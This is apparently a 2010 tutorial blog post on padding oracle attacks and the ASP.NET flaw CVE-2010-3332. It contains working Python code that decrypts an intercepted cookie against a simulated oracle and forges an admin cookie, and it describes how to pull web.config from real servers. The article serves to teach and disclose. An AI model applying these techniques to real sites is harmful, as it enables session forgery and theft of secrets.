Padding Oracle attack and its applications on ASP.NETFri 03 December 2010 by thomas
ASP.NET is a group of Web development technologies created by Microsoft, which offers developers an easy way to create dynamic web sites, web applications, or XML web services. To use it, a compatible web server is needed (like Microsoft IIS for example). ASP.NET is part of Microsoft.NET platform and represents an evolution of ASP. ASP.NET uses cryptography in order to encrypt sensitive data. This way, it is hidden and protected against attacks and unwanted modifications. In mid-September, a vulnerability on ASP.NET was reported. It corresponds to CVE-2010-3332. It reveals that ASP.NET is vulnerable to a "padding oracle" attack. In this article, we will describe this type of attack, show why it is possible on ASP.NET, and how to resolve it.
The padding oracle cryptographic attack
Padding is an important notion in cryptography. The cryptographic primitives of block ciphers proceed on fixed size bytes blocks. If the size of the text to encrypt is not a multiple of the block size used by the cryptographic primitive in question, then we need to fill the last block with padding bytes. There are many standards for padding, each one with its own rules for the byte values. As per the PKCS7 standard (RFC 3852, section 6.3), the value of every padding byte is the total length of the padding. Figure 1.1 illustrates this rule.
Figure 1.1: PKCS7 padding
In the first case, 3 bytes are missing in the plain text to form a complete block. So we have to add 3 padding bytes which will have 0x3 as value. In the second example, the first block is filled, and therefore does not contain padding. On the other hand, 5 bytes are missing in the second block, therefore we need 5 padding bytes with the 0x5 value. In the case of a 8 byte single block, or a 8 byte final block, the standard specify that we need to add another block full of padding, therefore with 0x8 value. It is important to remember that our article only deals with symmetric ciphering primitives, with 8 bytes blocks, and using the PKCS7 padding.
An "oracle" is a black box system which can solve a decision problem in one operation. We send it a question and it answers it. In our case, a padding oracle is a mechanism which, when we submit a cipher text, will return a response that tells us whether the padding is correct with respect to the PKCS7 standard. In this article, we will simulate the attack presented by Vaudenay in his paper.
We will attack a ciphering system using the "Cipher Block Chaining" (CBC) mode to encrypt and decrypt data. We will first briefly explain how the CBC mode works. Figure 1.2 shows how the mode works.
Figure 1.2: CBC mode (source: Wikipedia)
As shown in figure 1.3, the encryption of a plain text occurs after a "exclusive or" (XOR) between this text and a 8 bytes vector. This vector is called the initialization vector (IV). It is chosen by the user or generated randomly. For the following blocks, the vector used is the ciphertext of the previous block: IV(block n) = cipher(block n-1).
Figure 1.3: encryption in CBC mode
Decryption is illustrated in figure 1.4. It is symmetric, each block goes first in the cryptographic system, and then goes through a XOR with an 8 bytes vector. This vector is obtained in the same way as the encryption.
Figure 1.4: decryption in CBC mode
Simulation of the attack
We remind you that this attack is possible only on a block symmetric ciphering using PKCS7 padding.
In order to ease the writing and understanding of this article, we have coded with Python a program that simulates the oracle in a class, and implements the attack in an other class. We start by forging a cipher text giving a plain text to the program:
C:\> python pyPaddOracle.py -c Text to encrypt: admin=1 Padded text: 61646d696e3d3101 Ciphered value (IV + Ciphered text): 1712180527255516b97097596694c420
This is coded quite quickly with Pycrypto:
class MyPaddingOracleServer: key = 'iloveyouihateyou' iv = '1712180527255516'.decode('hex') def pkcs7(self,text,length): if ( (len(text) % 8) == 0 ): amount = 8 else: amount = length - len(text)%length pattern = chr(amount) pad = pattern*amount return text + pad def encrypt(self,plain): cipher = DES3.new(self.key,DES3.MODE_CBC,self.iv) paddedPlainText = self.pkcs7(plain,DES3.block_size) cipheredText = cipher.encrypt(paddedPlainText) print "Padded text: " + paddedPlainText.encode('hex') print "Ciphered value (IV + Ciphered text): " + self.iv.encode('hex') + cipheredText.encode('hex')
verbose = 0 if ( len(sys.argv) < 2 ): usage() if ( (len(sys.argv) > 2) and (sys.argv == "-v") ): verbose = 1 if ( sys.argv == "-c" ): plainText = raw_input("Text to encrypt: ") oracle = MyPaddingOracleServer() oracle.encrypt(plainText) elif ( sys.argv == "-d" ): cypher = raw_input("Value to decrypt (IV + Ciphered text): ") oracle = MyPaddingOracleServer() print "Decrypted value: " + oracle.decrypt(cypher) else: usage()
C:\>python pyPaddOracle.py -c Text to encrypt: hello! Padded text: 68656c6c6f202101 Ciphered value (IV + ciphertext): 1712180527255516c818194b4aa8dc91 C:\>python pyPaddOracle.py -d Value to decrypt (IV + ciphertext): 1712180527255516c818194b4aa8dc91 Decrypted value: 68656c6c6f202101 C:\>python pyPaddOracle.py -d Value to decrypt (IV + ciphertext): 0000000000000000c818194b4aa8dc91 Traceback (most recent call last): File "pyPaddOracle.py", line 152, in <module> print "Decrypted value: " + oracle.decrypt(cypher) File "pyPaddOracle.py", line 34, in decrypt raise Exception("Error: bad padding!") Exception: Error: bad padding!
Here is the code of the functions to decrypt and verify the padding. The oracle is easily identifiable.
class MyPaddingOracleServer: key = 'iloveyouihateyou' iv = '1712180527255516'.decode('hex') def is_pkcs7_padding_valid(self,block): c = block[-1] return block[-ord(c):] == ord(c) * c def decrypt(self,ciphered): ciphered = ciphered.decode('hex') self.iv = ciphered[0:DES3.block_size] cipher = DES3.new(self.key,DES3.MODE_CBC,self.iv) uncipher = cipher.decrypt(ciphered[DES3.block_size:]) if not self.is_pkcs7_padding_valid(uncipher): raise Exception("Error: bad padding!") else: return uncipher.encode('hex')
When the padding is bad, a "bad padding" exception error is raised, and this constitutes the padding oracle. We will put ourselves in the shoes of an attacker which does not know the key used for the encryption. He just knows that the cryptographic system is an 8 bytes CBC block ciphering and that the blocks are padded with PKCS7, and will only use the padding oracle. He intercepts a cookie containing a ciphered message that he wants to decrypt: 1712180527255516ff7ac1e450628bcc. In order to succeed, he uses this class in Python to simulate the attack:
class VeryBadHacker: currentBlock = '\x00\x00\x00\x00\x00\x00\x00\x00' IVoriginal = '\x00\x00\x00\x00\x00\x00\x00\x00' intVal = '\x00\x00\x00\x00\x00\x00\x00\x00' iv = '\x00\x00\x00\x00\x00\x00\x00\x00' oracle = MyPaddingOracleServer() verbose = 0
The attack takes placeblock here:
class VeryBadHacker: def uncipherValue(self,value): uncipheredValue = "" nbBlock = len(value)/(DES3.block_size) - 1 nCurrentBlock = 1 if ( self.verbose ): print 'Number of blocks: ' + str(nbBlock) self.IVoriginal = value[0:DES3.block_size] self.currentBlock = value[DES3.block_size*nCurrentBlock:DES3.block_size*(nCurrentBlock+1)] while ( nCurrentBlock <= nbBlock ): uncipheredValue += self.uncipherBlock(self.currentBlock) nCurrentBlock = nCurrentBlock + 1 self.IVoriginal = self.currentBlock self.currentBlock = value[DES3.block_size*nCurrentBlock:DES3.block_size*(nCurrentBlock+1)] return "Deciphered value: " + uncipheredValue
At first, the attacker begins by recovering the original IV and the ciphered text. Then, he decrypts each block, not forgetting that in each new block, the new IV is the last ciphered block. Here is the heart of the attack, the decryption of a block by exploiting the padding oracle:
class VeryBadHacker: def uncipherBlock(self,block): if ( self.verbose ): print "Ciphered block: " + block.encode('hex') print "Original IV: " + self.IVoriginal.encode('hex') currentByte = 0x8 goodPaddingValue = 0x1 while (currentByte > 0): if ( self.verbose ): print "Deciphering byte " + str(currentByte) print "Good padding value: " + str(goodPaddingValue) format = "%0"+str(2*currentByte)+"x"+self.iv[2*currentByte:2*DES3.block_size] # bruteforce the IV until good padding response from the oracle for self.iv in [format % i for i in xrange(0,0xFF+1)]: try: self.oracle.decrypt(self.iv + block.encode('hex')) except Exception: continue else: break; if ( self.verbose ): print "IV found to generate valid padding value: " + self.iv # we know the plain text thanks to the valid padding response vectPadd = ("%02x" %(goodPaddingValue)) * goodPaddingValue # we can calculate the intermediate values self.intVal = "%016x" %(int(self.iv,16) ^ int(vectPadd,16)) if ( self.verbose ): print "Intermediates Values vector: " + self.intVal print 'Deciphering byte '+str(currentByte)+' done!' # prepare data for next byte currentByte = currentByte - 1 goodPaddingValue = goodPaddingValue + 1 vectPadd = ("%02x" %(goodPaddingValue)) * (goodPaddingValue-1) # we calculate last byte of bruteforced IV self.iv = "%016x" %(int(self.intVal,16) ^ (int(vectPadd,16))) if ( self.verbose ): print "New IV for next round: " + self.iv print "\n" # all block deciphered - XORing intVal with the original IV to find the plain text unciphered = "%016x" %((int(self.IVoriginal.encode('hex'),16))^(int(self.intVal,16))) if ( self.verbose ): print "Intermediate values found for this block: " + self.intVal return unciphered
For each block, we have to find the IV generating a correct padding. It is the work of the while loop which put all values from 0x00 to 0xFF in a byte of the IV.We start with the last byte: its value is correct whenever the generated plain text byte is 0x1, and that is exactly what the oracle can tell us. Once we know the last byte of the IV, we can find the previous one, knowing that the oracle will reveal us when the plain text is 0x2 for the last 2 bytes. Once this IV is found, we just have to progressively recover to the plain bytes for the following blocks by following the CBC mode decryption. By XORing the byte found for this IV with the good padding value, we retrieve the good intermediate value. And finally, by XORing this intermediate value with the original IV (we know it because it transmitted with the cipher) we recover the plain value. For clarity purposes, we detailed the results for bytes 8 and 7 in the following tables. IV* represents the IV which will be brute forced, and the plain text* is the out plain text with a valid padding.
Decryption of the 8th byte
Our brute force stops when IV*(8) = 0x16
Once the 8th byte is decrypted, we can pass to the 7th.
Decryption of the 7th byte
For it, we must keep in mind that the good value for all bytes of the padding changes, now it is 0x2. Therefore we have to fix the 8th byte of the new IV* so that the plain text gives 0x2 (this way we only brute force the 7th byte). That is possible because we have previously found the 8th byte of the intermediate values vector. By XORing it with 0x2 we find the correct value for the 8th byte of the IV*, and now we only need to proceed in the same way to decrypt the 7th byte.
Our brute force finds value 0x66 for the 7th byte of the IV*, that allows us to decrypt the cipher 7th byte. By iterating these operations on every byte, our program retrieves the whole plain text.
... elif ( sys.argv == "-u" ): ivan = VeryBadHacker(verbose) cipheredValue = raw_input("Value to decrypt: ") print ivan.uncipherValue(cipheredValue.decode('hex')) elif ( sys.argv == "-x" ): ivan = VeryBadHacker(verbose) plain = raw_input("Text to encrypt: ") cipher = raw_input("Valid ciphered value: ") print ivan.cipherPlainText(plain,cipher.decode('hex')) else: usage()
C:\>python pyPaddOracle.py -u -v Value to decrypt: 1712180527255516ff7ac1e450628bcc Number of blocks: 1 Ciphered block: ff7ac1e450628bcc Original IV: 1712180527255516 Deciphering byte 8 Good padding value: 1 IV found to generate valid padding value: 0000000000000016 Intermediates Values vector: 0000000000000017 Deciphering byte 8 done! New IV for next round: 0000000000000015 Deciphering byte 7 Good padding value: 2 IV found to generate valid padding value: 0000000000006715 Intermediates Values vector: 0000000000006517 Deciphering byte 7 done! New IV for next round: 0000000000006614 Deciphering byte 6 Good padding value: 3 IV found to generate valid padding value: 00000000001b6614 Intermediates Values vector: 0000000000186517 Deciphering byte 6 done! New IV for next round: 00000000001c6113 Deciphering byte 5 Good padding value: 4 IV found to generate valid padding value: 000000004d1c6113 Intermediates Values vector: 0000000049186517 Deciphering byte 5 done! New IV for next round: 000000004c1d6012 Deciphering byte 4 Good padding value: 5 IV found to generate valid padding value: 000000694c1d6012 Intermediates Values vector: 0000006c49186517 Deciphering byte 4 done! New IV for next round: 0000006a4f1e6311 Deciphering byte 3 Good padding value: 6 IV found to generate valid padding value: 0000736a4f1e6311 Intermediates Values vector: 0000756c49186517 Deciphering byte 3 done! New IV for next round: 0000726b4e1f6210 Deciphering byte 2 Good padding value: 7 IV found to generate valid padding value: 0071726b4e1f6210 Intermediates Values vector: 0076756c49186517 Deciphering byte 2 done! New IV for next round: 007e7d6441106d1f Deciphering byte 1 Good padding value: 8 IV found to generate valid padding value: 7e7e7d6441106d1f Intermediates Values vector: 7676756c49186517 Deciphering byte 1 done! New IV for next round: 7f7f7c6540116c1e Intermediate values found for this block: 7676756c49186517 Deciphered value: 61646d696e3d3001
The cookie is decrypted! The value of the cookie is: ""admin=0" Since he is not administrator of the site, the attacker can assume that this value would be 1 for an admin. He wants to encrypt a new cookie with value "admin=1". But he has no idea of the encryption key used by the server. We will see that he can however use the oracle to correctly encrypt any message.
Our decryption technique allows us, in addition to recovering the plain text, to put our hands on the intermediate values vector. And if we observe the decryption schema of CBC, we see that the discovery of this vector is sufficient to cipher any plain text without knowing the key, because we control the IV too. Here is the code in Python of the function which allows us to correctly encrypt a plain text. We just need a valid cipher in order to retrieve the IV and the first intermediate values.
class VeryBadHacker: def cipherPlainText(self,plain,cipher): IVoriginal = cipher[0:DES3.block_size] plain = self.oracle.pkcs7(plain,DES3.block_size) nbBlock = len(plain)/(DES3.block_size) blocks = [plain[DES3.block_size*i:DES3.block_size*i+DES3.block_size] for i in range(len(plain)/DES3.block_size)] res = cipher[DES3.block_size:2*DES3.block_size] # actual cipher = iv + first block encrypted actualCipher = cipher[0:2*DES3.block_size] while ( nbBlock > 0 ): # we decrypt the cipher to recuperate the intermediate values self.uncipherValue(actualCipher) # we calculate the iv necessary for the plain text block newIV = "%016x" %(int(self.intVal,16)^int(blocks[nbBlock-1].encode('hex'),16)) if ( self.verbose ): print 'Actual cipher: ' + actualCipher.encode('hex') print 'IV found for this cipher: ' + newIV res = newIV.decode('hex') + res # now the cipher becomes iv original + last iv found actualCipher = IVoriginal + newIV.decode('hex') nbBlock = nbBlock - 1 return "Ciphered value for \"" + plain + "\" is " + res.encode('hex')
The function begins by retrieving the valid ciphered block and the IV used for this block encryption. Then it recovers the intermediate values vector by decrypting this cipher with the attack by padding oracle. Next, we calculate the IV necessary for the plain data block to encrypt (by beginning with the last block). To find this IV, we just need to XOR the intermediate values vector with the plain block. These operations are repeated for the following block, with the valid cipher block becoming the original IV accompanied by the new IV that we just found. And the process will run on until it reaches the plain text first block. Here is the (light) output of our function on a 2 blocks plain text:
C:\>python pyPaddOracle.py -x -v Text to encrypt: Hello World! Valid ciphered value: 1712180527255516ff7ac1e450628bcc Ciphered block: ff7ac1e450628bcc Original IV: 1712180527255516 Actual cipher: 1712180527255516ff7ac1e450628bcc IV found for this cipher: 041a114c681b6614 Ciphered block: 041a114c681b6614 Original IV: 1712180527255516 Actual cipher: 1712180527255516041a114c681b6614 IV found for this cipher: 72eb88a38ca96879 Ciphered value for "Hello World!???" is 72eb88a38ca96879041a114c681b6614ff7ac1e450628bcc
The program starts by finding the good IV to obtain "rld!\\x03\\x03\\x03" from the intermediate values found thanks to the valid cipher passed in parameter 1712180527255516ff7ac1e450628bcc. This new IV becomes the new valid cipher: 041a114c681b6614. The program now looks for the good IV to obtain "Hello Wo" from the intermediate values found thanks to the valid cipher found previously: 1712180527255516041a114c681b6614. Once this IV is found, and since we were at the first plain text block, our algorithm is finished. We verify our cipher using the decryption function of our server:
C:\>python pyPaddOracle.py -d Value to decrypt (IV + Ciphered text): 72eb88a38ca96879041a114c681b6614ff7ac1e450628bcc50628bcc Value decrypted: 48656c6c6f20576f726c642021030303 C:\>python Python 2.6 (r26:66721, Oct 2 2008, 11:35:03) [MSC v.1500 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> "48656c6c6f20576f726c642021030303".decode('hex') 'Hello World!\x03\x03\x03'
That works flawlessly! Our attacker can now forge his own cookie in order to get the administrator role on the vulnerable web site!
C:\>python pyPaddOracle.py -x Text to encrypt: admin=1 Valid ciphered value: 1712180527255516ff7ac1e450628bcc Ciphered value for "admin=1?" is: 1712180527255416ff7ac1e450628bcc
By changing his cookie from a ciphered value to "1712180527255416ff7ac1e450628bcc", he becomes administrator on the website.
ASP.NET vulnerable to padding oracle attacks
The vulnerability: the padding oracle
If we rely on the Juliano Rizzo and Thai Duong conference, on the CVE out a little later, and on the other many blog posts, ASP.NET is vulnerable to padding oracle attacks. As we have seen in the first part of this article, it means that an oracle informing us on the accuracy of the padding is present, and that the padding scheme used is PKCS7. We will verify that information with the tool Reflector which allows us to browse the source code of .NET libraries. After a quick research on the key word "padding", we retrieve the method which returns a very clear exception on the invalidity of the padding received.
Still with Reflector, we quickly realize that this function is used by every Web functions of .NET using cryptography. Indeed, ASP.NET offers applications developers the possibility to cipher their sensitive data (cookie, form fields, VIEWSTATE, and so on). It is therefore all .NET security models that are impacted by this vulnerability. It is for instance the case for the method
from the namespace
which is the heart of ASP.NET security. We will recover the code of this method with the Reflector tool.To decrypt the string in the parameter, it uses the method
MachineKeySection.EncryptOrDecryptData(false, buf, null, 0, buf.Length, IVType.Random);
which uses the method
for its last block (the block which interest us, because it is a padded block). This function then uses
RijndaelManagedTransform.TransformFinalBlock(byte inputBuffer, int inputOffset, int inputCount);
still for this last block. Finally, we find within the code of this method our famous function
DecryptData(inputBuffer, inputOffset, inputCount, ref buffer2, 0, this.m_paddingValue, true);
which is vulnerable to attacks by padding oracle, and forwards this oracle information to the end user.
From CVE and the different posts on Internet, it would be possible to:
- decrypt/encrypt sensible data (cookies, VIEWSTATE, and so on)
- download the web.config of the application
We will summarise these different processes and explain for each them, why they are possible.
The Decryption/encryption of sensible data
This is a basic simulation of an attack by padding oracle as seen in a previous part. Thanks to the oracle, an attacker who intercepts a cookie or another type of encrypted data (other than the VIEWSTATE which is a special case that we will explain later) can decrypt it, modify it at will and re-encrypt it properly in order to hedge the vulnerable Web server.
The Downloading of web.config
When looking at an ASP.NET page, we can frequently see this type of code:
method, we recover a call to the function
which is as previously seen vulnerable to padding oracle attacks. An attacker would be able to decrypt parameter values of WebResource.axd, and change the name of the requested file by substituting it to web.config. Once the value is well encrypted and injected in the URL, he will obtain the file. It is quite important to note that there is moreover a brute force to be performed on the first block, because we do not control the IV. To get more information on this attack, you can read this great article.
In the CVE, we read that it is also possible with attack the padding attack to decrypt, modify, and crypt the VIEWSTATE (a real tote bag for ASP.NET developers). But the VIEWSTATE is protected by a MAC which prevents from modifying its value as we would do with a cookie or another type of data. To successfully decrypt the VIEWSTATE, we need the key used for the MAC, key that is located in the web.config file. And , as just seen,we are able to get it! ;)
Although quite simple, padding oracle attacks can be very effective and destructive. ASP.NET has made the cost because their security model is based on the possibility for developers to easily encrypt their data and the VIEWSTATE. Our tool was not developed in order to simulate the attack on real environment. For this, we should code ways to recognize the padding oracle program with the observation of the return code of the Web page, the observation of eventual error messages on the page, or the difference between display times when there is a padding error or not. PadBuster, a quite effective software for identifying and exploiting padding oracles in any web application is available on the Internet.